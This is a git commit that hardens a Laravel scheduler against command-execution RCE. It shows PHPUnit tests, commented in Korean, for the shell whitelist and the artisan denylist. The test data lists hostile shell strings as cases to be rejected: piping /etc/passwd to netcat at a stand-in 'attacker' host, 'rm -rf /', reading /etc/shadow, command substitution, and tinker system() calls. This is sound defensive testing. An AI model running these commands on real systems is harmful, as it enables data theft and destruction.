fix(security): 스케줄러 Shell/Artisan 명령 실행 하드닝
미출시 예약 작업 기능에서 스케줄 권한만 위임받은 계정이 Shell/Artisan 명령으로 임의 코드를 실행할 수 있던 문제를 선제적으로 차단(KVE-2026-1567). Shell 은 기본 차단 + 실행 파일 화이트리스트 + 셸 미경유 인자배열 실행, Artisan 은 차단목록. 저장 시점(FormRequest)과 실행 시점(Service) 이중 검증. 아울러 공개 release 보다 앞선 미출시 버전들의 CHANGELOG 출시 날짜를 2026-07-14 로 통일.
This commit is contained in:
1 parent
4c73db2e91
commit
ce8e55b390
23 files changed
+957
-25
No files matched your search
@@ -0,0 +1,328 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature\Security;
|
||||
|
||||
use App\Enums\ScheduleResultStatus;
|
||||
use App\Enums\ScheduleType;
|
||||
use App\Models\Permission;
|
||||
use App\Models\Role;
|
||||
use App\Models\Schedule;
|
||||
use App\Models\User;
|
||||
use App\Services\ScheduleService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use Illuminate\Validation\ValidationException;
|
||||
use PHPUnit\Framework\Attributes\DataProvider;
|
||||
use Tests\TestCase;
|
||||
|
||||
/**
|
||||
* 스케줄 command 를 통한 권한 상승형 RCE 를 차단하는지 검증한다.
|
||||
*
|
||||
* 보고서(KVE-2026-1567) 주 시나리오: `core.schedules.read/create/run` 만 위임받은 저권한
|
||||
* 계정이 Shell/Artisan 스케줄을 생성 → 즉시 실행하여 서버에서 임의 OS 명령·임의 PHP 코드를
|
||||
* 실행하는 경로. 저장 시점(store/update 422)과 실행 시점(runSchedule 차단) 양쪽을 검증한다.
|
||||
*/
|
||||
class ScheduleCommandGuardTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private User $operator;
|
||||
|
||||
private string $token;
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
|
||||
// 보고서 시나리오의 "스케줄 운영자" — 스케줄 권한만 위임, is_super=0
|
||||
$this->operator = $this->createScheduleOperator();
|
||||
$this->token = $this->operator->createToken('test-token')->plainTextToken;
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// 저장 시점 — store/update 422
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* 게이트가 꺼진 기본 상태에서 저권한 계정의 shell 스케줄 생성은 422 로 거부된다.
|
||||
*
|
||||
* @param string $command 악성/미허용 shell command
|
||||
*/
|
||||
#[DataProvider('maliciousShellCommandProvider')]
|
||||
public function test_store_rejects_shell_command_when_gate_disabled(string $command): void
|
||||
{
|
||||
$response = $this->authRequest()->postJson(route('api.admin.schedules.store'), [
|
||||
'name' => 'rce 시도',
|
||||
'type' => ScheduleType::Shell->value,
|
||||
'command' => $command,
|
||||
'expression' => '* * * * *',
|
||||
'frequency' => 'everyMinute',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
$response->assertJsonValidationErrors('command');
|
||||
}
|
||||
|
||||
/**
|
||||
* 저권한 계정의 차단목록 artisan 스케줄 생성은 422 로 거부된다.
|
||||
*
|
||||
* @param string $command 차단목록 artisan command
|
||||
*/
|
||||
#[DataProvider('deniedArtisanCommandProvider')]
|
||||
public function test_store_rejects_denylisted_artisan_command(string $command): void
|
||||
{
|
||||
$response = $this->authRequest()->postJson(route('api.admin.schedules.store'), [
|
||||
'name' => 'artisan rce 시도',
|
||||
'type' => ScheduleType::Artisan->value,
|
||||
'command' => $command,
|
||||
'expression' => '* * * * *',
|
||||
'frequency' => 'everyMinute',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
$response->assertJsonValidationErrors('command');
|
||||
}
|
||||
|
||||
/**
|
||||
* 게이트를 켜고 실행 파일을 화이트리스트에 등록하면 정상 shell 스케줄 생성은 201 로 허용된다.
|
||||
*/
|
||||
public function test_store_allows_whitelisted_shell_command_when_gate_enabled(): void
|
||||
{
|
||||
config([
|
||||
'schedule_security.shell.enabled' => true,
|
||||
'schedule_security.shell.allowed_binaries' => ['backup.sh'],
|
||||
]);
|
||||
|
||||
$response = $this->authRequest()->postJson(route('api.admin.schedules.store'), [
|
||||
'name' => '정상 백업 스케줄',
|
||||
'type' => ScheduleType::Shell->value,
|
||||
'command' => 'backup.sh --full',
|
||||
'expression' => '* * * * *',
|
||||
'frequency' => 'everyMinute',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
}
|
||||
|
||||
/**
|
||||
* 정상 artisan 스케줄 생성은 201 로 허용된다 (기본 허용 정책).
|
||||
*/
|
||||
public function test_store_allows_normal_artisan_command(): void
|
||||
{
|
||||
$response = $this->authRequest()->postJson(route('api.admin.schedules.store'), [
|
||||
'name' => '캐시 정리 스케줄',
|
||||
'type' => ScheduleType::Artisan->value,
|
||||
'command' => 'cache:clear',
|
||||
'expression' => '* * * * *',
|
||||
'frequency' => 'everyMinute',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
}
|
||||
|
||||
/**
|
||||
* 기존 shell 스케줄의 command 만 악성 값으로 바꾸는 update 요청도 422 로 거부된다
|
||||
* (PATCH 에 type 이 없어도 저장된 타입으로 폴백 검증).
|
||||
*/
|
||||
public function test_update_rejects_malicious_shell_command_without_type_in_request(): void
|
||||
{
|
||||
$schedule = Schedule::create([
|
||||
'name' => '기존 스케줄',
|
||||
'type' => ScheduleType::Shell,
|
||||
'command' => 'backup.sh',
|
||||
'expression' => '* * * * *',
|
||||
'is_active' => true,
|
||||
]);
|
||||
|
||||
$response = $this->authRequest()->putJson(
|
||||
route('api.admin.schedules.update', ['schedule' => $schedule->id]),
|
||||
['command' => 'id; cat /etc/passwd']
|
||||
);
|
||||
|
||||
$response->assertStatus(422);
|
||||
$response->assertJsonValidationErrors('command');
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// 실행 시점 — runSchedule 차단 (DB 직접 주입 값 방어)
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* 게이트가 꺼진 상태에서 DB 에 직접 심어진 shell 스케줄은 실행 시점에 차단된다
|
||||
* (저장 검증을 우회해 들어온 값 방어 — 마지막 방어선).
|
||||
*/
|
||||
public function test_run_blocks_shell_schedule_when_gate_disabled(): void
|
||||
{
|
||||
Process::fake();
|
||||
|
||||
$schedule = Schedule::create([
|
||||
'name' => 'DB 직접 주입 shell',
|
||||
'type' => ScheduleType::Shell,
|
||||
'command' => 'id',
|
||||
'expression' => '* * * * *',
|
||||
'is_active' => true,
|
||||
]);
|
||||
|
||||
$this->assertScheduleRunIsBlocked($schedule);
|
||||
Process::assertNothingRan();
|
||||
}
|
||||
|
||||
/**
|
||||
* DB 에 직접 심어진 차단목록 artisan 스케줄은 실행 시점에 차단된다.
|
||||
*/
|
||||
public function test_run_blocks_denylisted_artisan_schedule(): void
|
||||
{
|
||||
$schedule = Schedule::create([
|
||||
'name' => 'DB 직접 주입 artisan',
|
||||
'type' => ScheduleType::Artisan,
|
||||
'command' => 'tinker --execute=system("id");',
|
||||
'expression' => '* * * * *',
|
||||
'is_active' => true,
|
||||
]);
|
||||
|
||||
$this->assertScheduleRunIsBlocked($schedule);
|
||||
}
|
||||
|
||||
/**
|
||||
* 게이트 on + 화이트리스트 등록 시, 허용된 shell 스케줄은 인자 배열로 실행된다
|
||||
* (문자열이 아닌 배열 → `/bin/sh -c` 미경유).
|
||||
*/
|
||||
public function test_run_executes_whitelisted_shell_command_as_argument_array(): void
|
||||
{
|
||||
config([
|
||||
'schedule_security.shell.enabled' => true,
|
||||
'schedule_security.shell.allowed_binaries' => ['backup.sh'],
|
||||
]);
|
||||
Process::fake(['*' => Process::result('done', '', 0)]);
|
||||
|
||||
$schedule = Schedule::create([
|
||||
'name' => '정상 백업',
|
||||
'type' => ScheduleType::Shell,
|
||||
'command' => 'backup.sh --full /var/data',
|
||||
'expression' => '* * * * *',
|
||||
'is_active' => true,
|
||||
]);
|
||||
|
||||
app(ScheduleService::class)->runSchedule($schedule);
|
||||
|
||||
// 셸 미경유 검증: Process 에 문자열이 아닌 인자 배열이 전달됨
|
||||
Process::assertRan(function ($process) {
|
||||
return $process->command === ['backup.sh', '--full', '/var/data'];
|
||||
});
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// Helpers
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* runSchedule 이 차단되어 실패 이력으로 기록되는지 단언합니다.
|
||||
*
|
||||
* runSchedule 은 실행 실패를 실패 이력으로 남긴 뒤 ValidationException 으로 전파한다.
|
||||
*
|
||||
* @param Schedule $schedule 실행 대상 스케줄
|
||||
*/
|
||||
private function assertScheduleRunIsBlocked(Schedule $schedule): void
|
||||
{
|
||||
try {
|
||||
app(ScheduleService::class)->runSchedule($schedule);
|
||||
$this->fail("차단되어야 하는 스케줄이 실행됨: {$schedule->command}");
|
||||
} catch (ValidationException $e) {
|
||||
// 실행 실패 경로 — 아래에서 실패 이력을 확인한다
|
||||
}
|
||||
|
||||
$this->assertSame(
|
||||
ScheduleResultStatus::Failed,
|
||||
$schedule->fresh()->last_result,
|
||||
"차단된 스케줄이 실패로 기록되지 않음: {$schedule->command}"
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* 인증된 JSON 요청 헬퍼.
|
||||
*/
|
||||
private function authRequest(): static
|
||||
{
|
||||
return $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->token,
|
||||
'Accept' => 'application/json',
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* 스케줄 권한만 위임받은 저권한 "스케줄 운영자" 계정을 생성합니다.
|
||||
*
|
||||
* @return User is_super=0, core.schedules.read/create/update/run 만 보유
|
||||
*/
|
||||
private function createScheduleOperator(): User
|
||||
{
|
||||
$user = User::factory()->create();
|
||||
|
||||
$permissionIds = [];
|
||||
foreach (['core.schedules.read', 'core.schedules.create', 'core.schedules.update', 'core.schedules.run'] as $identifier) {
|
||||
$permission = Permission::firstOrCreate(
|
||||
['identifier' => $identifier],
|
||||
[
|
||||
'name' => json_encode(['ko' => $identifier, 'en' => $identifier]),
|
||||
'description' => json_encode(['ko' => $identifier, 'en' => $identifier]),
|
||||
'extension_type' => 'core',
|
||||
'extension_identifier' => 'core',
|
||||
'type' => 'admin',
|
||||
]
|
||||
);
|
||||
$permissionIds[] = $permission->id;
|
||||
}
|
||||
|
||||
$operatorRole = Role::create([
|
||||
'identifier' => 'schedule_operator_'.uniqid(),
|
||||
'name' => json_encode(['ko' => '스케줄 운영자', 'en' => 'Schedule Operator']),
|
||||
'is_active' => true,
|
||||
]);
|
||||
$operatorRole->permissions()->sync($permissionIds);
|
||||
|
||||
// isAdmin() 통과를 위한 admin 타입 역할 (설계상 admin 로그인 허용 — 진짜 결함은 능력 위임 범위)
|
||||
$adminRole = Role::firstOrCreate(
|
||||
['identifier' => 'admin'],
|
||||
[
|
||||
'name' => json_encode(['ko' => '관리자', 'en' => 'Administrator']),
|
||||
'extension_type' => 'core',
|
||||
'extension_identifier' => 'core',
|
||||
'is_active' => true,
|
||||
]
|
||||
);
|
||||
|
||||
$user->roles()->attach($adminRole->id, ['assigned_at' => now()]);
|
||||
$user->roles()->attach($operatorRole->id, ['assigned_at' => now()]);
|
||||
|
||||
return $user->fresh();
|
||||
}
|
||||
|
||||
/**
|
||||
* 게이트 꺼진 상태에서 거부되어야 하는 shell command 목록.
|
||||
*
|
||||
* @return array<string, array{string}>
|
||||
*/
|
||||
public static function maliciousShellCommandProvider(): array
|
||||
{
|
||||
return [
|
||||
'임의 명령 (보고서 주 시나리오)' => ['id'],
|
||||
'체이닝' => ['backup.sh; rm -rf /'],
|
||||
'파이프 역쉘' => ['cat /etc/passwd | nc attacker 4444'],
|
||||
'명령치환' => ['echo $(id)'],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* 차단목록 artisan command 목록.
|
||||
*
|
||||
* @return array<string, array{string}>
|
||||
*/
|
||||
public static function deniedArtisanCommandProvider(): array
|
||||
{
|
||||
return [
|
||||
'tinker 임의 PHP 실행' => ['tinker --execute=system("id");'],
|
||||
'db:wipe 파괴적' => ['db:wipe'],
|
||||
'migrate:fresh 파괴적' => ['migrate:fresh'],
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,278 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit\Support;
|
||||
|
||||
use App\Support\ScheduleCommandValidator;
|
||||
use PHPUnit\Framework\Attributes\DataProvider;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
/**
|
||||
* 스케줄 Shell/Artisan command 검증 유틸 테스트.
|
||||
*
|
||||
* 스케줄 생성 권한만 위임받은 계정이 임의 OS 명령·임의 PHP 코드를 실행하는 경로를
|
||||
* 전수 매트릭스로 차단 검증한다 (셸 메타문자 주입, 화이트리스트 우회, 차단목록 우회).
|
||||
*/
|
||||
class ScheduleCommandValidatorTest extends TestCase
|
||||
{
|
||||
/**
|
||||
* shell 게이트를 켜고 허용 실행 파일을 등록합니다.
|
||||
*
|
||||
* @param array<int, string> $binaries 허용 실행 파일 basename 목록
|
||||
*/
|
||||
private function enableShell(array $binaries = ['backup.sh']): void
|
||||
{
|
||||
config([
|
||||
'schedule_security.shell.enabled' => true,
|
||||
'schedule_security.shell.allowed_binaries' => $binaries,
|
||||
]);
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// Shell — 게이트
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* 게이트가 꺼져 있으면 화이트리스트에 있는 명령도 거부한다 (기본 차단).
|
||||
*/
|
||||
#[Test]
|
||||
public function it_blocks_every_shell_command_when_the_gate_is_disabled(): void
|
||||
{
|
||||
config([
|
||||
'schedule_security.shell.enabled' => false,
|
||||
'schedule_security.shell.allowed_binaries' => ['backup.sh'],
|
||||
]);
|
||||
|
||||
$this->assertFalse(ScheduleCommandValidator::isShellCommandAllowed('backup.sh'));
|
||||
}
|
||||
|
||||
/**
|
||||
* 게이트가 켜져 있어도 화이트리스트가 비어 있으면 모두 거부한다.
|
||||
*/
|
||||
#[Test]
|
||||
public function it_blocks_every_shell_command_when_the_whitelist_is_empty(): void
|
||||
{
|
||||
$this->enableShell([]);
|
||||
|
||||
$this->assertFalse(ScheduleCommandValidator::isShellCommandAllowed('backup.sh'));
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// Shell — 화이트리스트
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* 게이트 on + 화이트리스트 등록 실행 파일은 허용한다 (정상 운영 경로).
|
||||
*
|
||||
* @param string $command 허용되어야 하는 command
|
||||
*/
|
||||
#[Test]
|
||||
#[DataProvider('allowedShellCommandProvider')]
|
||||
public function it_allows_whitelisted_shell_binaries(string $command): void
|
||||
{
|
||||
$this->enableShell(['backup.sh']);
|
||||
|
||||
$this->assertTrue(
|
||||
ScheduleCommandValidator::isShellCommandAllowed($command),
|
||||
"허용되어야 하는 명령이 차단됨: {$command}"
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* 화이트리스트에 없는 실행 파일은 거부한다.
|
||||
*
|
||||
* @param string $command 차단되어야 하는 command
|
||||
* @param string $reason 차단 사유 (실패 메시지용)
|
||||
*/
|
||||
#[Test]
|
||||
#[DataProvider('blockedShellCommandProvider')]
|
||||
public function it_blocks_shell_commands_outside_the_whitelist(string $command, string $reason): void
|
||||
{
|
||||
$this->enableShell(['backup.sh']);
|
||||
|
||||
$this->assertFalse(
|
||||
ScheduleCommandValidator::isShellCommandAllowed($command),
|
||||
"차단되어야 하는 명령이 통과함 ({$reason}): {$command}"
|
||||
);
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// Shell — 토큰화 (셸 미경유 실행 가능 여부)
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* 셸 메타문자가 섞인 명령은 토큰화를 거부한다 (인자배열 실행 불가 → 실행 차단).
|
||||
*
|
||||
* @param string $command 메타문자가 포함된 command
|
||||
* @param string $reason 차단 사유 (실패 메시지용)
|
||||
*/
|
||||
#[Test]
|
||||
#[DataProvider('shellMetacharacterCommandProvider')]
|
||||
public function it_refuses_to_tokenize_commands_containing_shell_metacharacters(string $command, string $reason): void
|
||||
{
|
||||
$this->assertNull(
|
||||
ScheduleCommandValidator::tokenizeShellCommand($command),
|
||||
"토큰화가 거부되어야 하는 명령이 통과함 ({$reason}): {$command}"
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* 메타문자 없는 명령은 공백 기준 인자 배열로 토큰화한다.
|
||||
*/
|
||||
#[Test]
|
||||
public function it_tokenizes_a_plain_command_into_an_argument_array(): void
|
||||
{
|
||||
$this->assertSame(
|
||||
['backup.sh', '--full', '/var/data'],
|
||||
ScheduleCommandValidator::tokenizeShellCommand('backup.sh --full /var/data')
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* 빈 문자열·공백만 있는 명령은 토큰화를 거부한다.
|
||||
*/
|
||||
#[Test]
|
||||
public function it_refuses_to_tokenize_a_blank_command(): void
|
||||
{
|
||||
$this->assertNull(ScheduleCommandValidator::tokenizeShellCommand(' '));
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// Artisan — 차단목록
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* 차단목록에 오른 artisan 명령은 거부한다 (코드 실행형·파괴적 명령).
|
||||
*
|
||||
* @param string $command 차단되어야 하는 command
|
||||
*/
|
||||
#[Test]
|
||||
#[DataProvider('deniedArtisanCommandProvider')]
|
||||
public function it_blocks_denylisted_artisan_commands(string $command): void
|
||||
{
|
||||
$this->assertFalse(
|
||||
ScheduleCommandValidator::isArtisanCommandAllowed($command),
|
||||
"차단되어야 하는 artisan 명령이 통과함: {$command}"
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* 차단목록에 없는 artisan 명령은 허용한다 (기본 허용).
|
||||
*
|
||||
* @param string $command 허용되어야 하는 command
|
||||
*/
|
||||
#[Test]
|
||||
#[DataProvider('allowedArtisanCommandProvider')]
|
||||
public function it_allows_artisan_commands_that_are_not_denylisted(string $command): void
|
||||
{
|
||||
$this->assertTrue(
|
||||
ScheduleCommandValidator::isArtisanCommandAllowed($command),
|
||||
"허용되어야 하는 artisan 명령이 차단됨: {$command}"
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* artisan 명령명은 첫 토큰으로 추출한다.
|
||||
*/
|
||||
#[Test]
|
||||
public function it_extracts_the_artisan_command_name_from_the_first_token(): void
|
||||
{
|
||||
$this->assertSame('cache:clear', ScheduleCommandValidator::extractArtisanCommandName(' cache:clear --force '));
|
||||
$this->assertNull(ScheduleCommandValidator::extractArtisanCommandName(' '));
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// Data Providers
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* 허용되어야 하는 shell command 목록.
|
||||
*
|
||||
* @return array<string, array{string}>
|
||||
*/
|
||||
public static function allowedShellCommandProvider(): array
|
||||
{
|
||||
return [
|
||||
'실행 파일 단독' => ['backup.sh'],
|
||||
'인자 포함' => ['backup.sh --full /var/data'],
|
||||
'절대경로 (basename 일치)' => ['/usr/local/bin/backup.sh --full'],
|
||||
'앞뒤 공백' => [' backup.sh '],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* 차단되어야 하는 shell command 목록.
|
||||
*
|
||||
* @return array<string, array{string, string}>
|
||||
*/
|
||||
public static function blockedShellCommandProvider(): array
|
||||
{
|
||||
return [
|
||||
'화이트리스트 외 명령' => ['id', '보고서 주 시나리오 — 임의 명령 실행'],
|
||||
'화이트리스트 외 절대경로' => ['/bin/sh', '셸 자체 실행'],
|
||||
'접두사 확장 우회' => ['backup.sh.evil', 'basename 완전 일치가 아님'],
|
||||
'접미사 확장 우회' => ['evil-backup.sh', 'basename 완전 일치가 아님'],
|
||||
'체이닝으로 화이트리스트 위장' => ['backup.sh; id', '메타문자 — 토큰화 거부'],
|
||||
'파이프로 화이트리스트 위장' => ['backup.sh | nc attacker 4444', '메타문자 — 토큰화 거부'],
|
||||
'명령치환으로 화이트리스트 위장' => ['backup.sh $(id)', '메타문자 — 토큰화 거부'],
|
||||
'빈 명령' => ['', '빈 문자열'],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* 셸 해석을 유발하는 메타문자가 포함된 command 목록.
|
||||
*
|
||||
* @return array<string, array{string, string}>
|
||||
*/
|
||||
public static function shellMetacharacterCommandProvider(): array
|
||||
{
|
||||
return [
|
||||
'세미콜론 체이닝' => ['backup.sh; rm -rf /', '세미콜론'],
|
||||
'파이프' => ['cat /etc/passwd | nc attacker 4444', '파이프'],
|
||||
'백그라운드 실행' => ['backup.sh & id', '앰퍼샌드'],
|
||||
'명령치환 $()' => ['echo $(id)', '달러 + 괄호'],
|
||||
'명령치환 백틱' => ['echo `id`', '백틱'],
|
||||
'출력 리다이렉션' => ['backup.sh > /etc/crontab', '리다이렉션'],
|
||||
'입력 리다이렉션' => ['backup.sh < /etc/shadow', '리다이렉션'],
|
||||
'와일드카드' => ['rm -rf /var/*', '글롭'],
|
||||
'따옴표' => ['backup.sh "a b"', '따옴표 — 순진한 토큰화 불가'],
|
||||
'개행 주입' => ["backup.sh\nid", '개행'],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* 차단되어야 하는 artisan command 목록.
|
||||
*
|
||||
* @return array<string, array{string}>
|
||||
*/
|
||||
public static function deniedArtisanCommandProvider(): array
|
||||
{
|
||||
return [
|
||||
'tinker — 임의 PHP 실행' => ['tinker --execute=system("id");'],
|
||||
'tinker 단독' => ['tinker'],
|
||||
'대소문자 우회' => ['TINKER --execute=1'],
|
||||
'db:wipe — 파괴적' => ['db:wipe'],
|
||||
'migrate:fresh — 파괴적' => ['migrate:fresh --seed'],
|
||||
'migrate:reset' => ['migrate:reset'],
|
||||
'migrate:rollback' => ['migrate:rollback'],
|
||||
'key:generate' => ['key:generate'],
|
||||
'env:decrypt' => ['env:decrypt'],
|
||||
'schedule:run' => ['schedule:run'],
|
||||
'빈 명령' => [''],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* 허용되어야 하는 artisan command 목록 (정상 운영 명령).
|
||||
*
|
||||
* @return array<string, array{string}>
|
||||
*/
|
||||
public static function allowedArtisanCommandProvider(): array
|
||||
{
|
||||
return [
|
||||
'cache:clear' => ['cache:clear'],
|
||||
'인자 포함' => ['queue:work --stop-when-empty'],
|
||||
'inspire' => ['inspire'],
|
||||
];
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user